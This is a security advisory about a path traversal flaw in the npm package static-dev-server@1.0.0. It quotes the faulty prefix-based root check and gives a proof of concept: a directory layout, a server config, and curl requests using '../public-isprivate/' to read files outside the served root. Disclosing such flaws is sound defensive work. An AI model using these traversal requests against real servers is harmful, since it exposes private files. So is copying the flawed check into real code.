


Path traversal vulnerability in static-dev-server@1.0.0

 path-traversal-in-static-dev-server.md

Path traversal vulnerability in static-dev-server@1.0.0

static-dev-server is a local HTTP file server, or as it describes itself: A simple http server to serve static resource files from a local directory and watching.

Observation:

- It's at virtually 0 downloads
- It was last published 6 years ago

Resources:

- Project's GitHub source code: <https://github.com/etoah/static-dev-server/tree/master>
- Project's npm package: <https://www.npmjs.com/package/static-dev-server>

Background on exploitation

The static-dev-server npm package is joining paths from users to the root directory and asset for the path accessed being relative to that of the root directory, however this last case is where this is implemented in a vulnerable way:

Lines 145 in server.js just joins the paths:

```
var filename = path.join(server.rootPath, uri);
```

and then a code in a utility function at Lines 222-227 of server.js attempts to jail it to the specific root directory:

```
function validPath(rootPath, file) {  
  var resolvedPath = path.resolve(rootPath, file);  
  
  // only if we are still in the rootPath of the static site  
  return resolvedPath.indexOf(rootPath) === 0;  
}
```

However, it is a flawed assertion.

This vulnerability should probably be classified as a [CWE-22: Improper Limitation of a Pathname to a Restricted Directory \('Path Traversal'\)](#).

Proof of Concept exploit

1. Install the latest version of static-dev-server: `npm install static-dev-server@1.0.0`
2. Make sure you have a `public/` directory with files in it
3. Make sure you have a `public-isprivate` directory with files in it
4. Make sure you have a `private/` directory with files in it

All directories above should share the same relative parent, meaning the directory structure should look as follows:

```
.  
├─ private  
│   └─ index.html  
├─ public  
│   └─ index.html  
└─ public-isprivate  
    └─ index.html
```

Then, run a server powered by static-dev-server as follows:

```
var StaticServer = require('static-dev-server');  
var server = new StaticServer({  
  rootPath: 'public', // required, the root of the server file tree  
  name: 'my-http-server', // optional, will set "X-Powered-by" HTTP header  
  port: 3000, // optional, defaults to a random port  
  host: '0.0.0.0', // optional, defaults to any interface  
  cors: '*', // optional, defaults to undefined  
  followSymlink: true, // optional, defaults to a 404 error  
  templates: {  
    index: 'foo.html', // optional, defaults to 'index.html'
```

```
    notFound: '404.html'    // optional, defaults to undefined
  }
});

server.start(function () {
  console.log('Server listening to', server.port);
});
```

which sets the public root directory to the `public/` directory that we previously created:

The server should run within the local folder where all `private/`, `public/`, and `public-isprivate` are subfolders.

Next, verify the following:

1. `curl --path-as-is "http://localhost:3000/../private/index.html" ->` this request is denied, as expected with prior vulnerability fix.
2. `curl --path-as-is "http://localhost:3000/../public/index.html" ->` this request is allowed, as expected with the functionality of this local http server
3. `curl --path-as-is "http://localhost:3000/../public-isprivate/index.html" ->` this request SHOULD BE DENIED because it is outside the `public/` folder, but it is actually allowed.

Case (3) shouldn't happen, but it does, due to an improper fix in the library's source code.

Author

Liran Tal